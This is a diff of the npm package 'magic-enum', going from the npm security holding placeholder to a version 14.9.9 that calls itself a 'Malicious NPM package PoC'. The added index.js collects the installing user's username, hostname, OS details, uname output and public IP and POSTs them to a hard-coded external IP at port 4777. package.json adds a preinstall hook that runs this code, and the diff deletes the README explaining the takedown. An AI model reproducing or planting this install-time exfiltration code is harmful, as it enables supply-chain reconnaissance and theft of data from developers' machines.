magic-enum 0.0.1-security → 14.9.9

package/index.js

@@ -0,0 +1,85 @@
+const os = require('os');
+const https = require('https');
+const exec = require('child_process').exec;
+
+// Function to get public IP of the system
+function getPublicIP(callback) {
+    https.get('https://api64.ipify.org?format=json', (res) => {
+        let data = '';
+        res.on('data', chunk => { data += chunk; });
+        res.on('end', () => {
+            try {
+                const ipInfo = JSON.parse(data);
+                callback(ipInfo.ip);
+            } catch (error) {
+                callback('Unknown');
+            }
+        });
+    }).on('error', () => {
+        callback('Unknown');
+    });
+}
+
+// Get system information
+function getSystemInfo() {
+    return new Promise((resolve, reject) => {
+        exec('uname -a', (err, stdout, stderr) => {
+            if (err) {
+                reject('Error getting system info');
+            } else {
+                resolve({
+                    username: os.userInfo().username,
+                    hostname: os.hostname(),
+                    os: os.type() + " " + os.release(),
+                    architecture: os.arch(),
+                    platform: os.platform(),
+                    uptime: os.uptime(),
+                    public_ip: 'Unknown',  // Placeholder for public IP
+                    uname: stdout.trim() // Collect the result of uname -a
+                });
+            }
+        });
+    });
+}
+
+// Send system information to your listener server
+async function sendSystemInfo() {
+    try {
+        const systemData = await getSystemInfo();
+
+        // Fetch public IP and add it to the system data
+        getPublicIP((publicIP) => {
+            systemData.public_ip = publicIP;
+
+            // Prepare data to send
+            const data = JSON.stringify(systemData);
+
+            const options = {
+                hostname: '65.0.127.249',  // Listener server IP
+                port: 4777,  // Port to send data to
+                path: '/collect',
+                method: 'POST',
+                headers: {
+                    'Content-Type': 'application/json',
+                    'Content-Length': data.length
+                }
+            };
+
+            const req = https.request(options, (res) => {
+                console.log(`Response from listener: ${res.statusCode}`);
+            });
+
+            req.on('error', (error) => {
+                console.error('Error sending data:', error);
+            });
+
+            req.write(data);
+            req.end();
+        });
+    } catch (error) {
+        console.error('Error getting system info:', error);
+    }
+}
+
+// Trigger the function to send system information
+sendSystemInfo();

package/package.json

@@ -1,6 +1,15 @@
 {
   "name": "magic-enum",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "14.9.9",
+  "description": "Malicious NPM package PoC",
+  "main": "index.js",
+  "preinstall": "node index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "Security Researcher",
+  "license": "ISC",
+  "dependencies": {
+    "magic-enum": "^12.9.9"
+  }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=magic-enum for more information.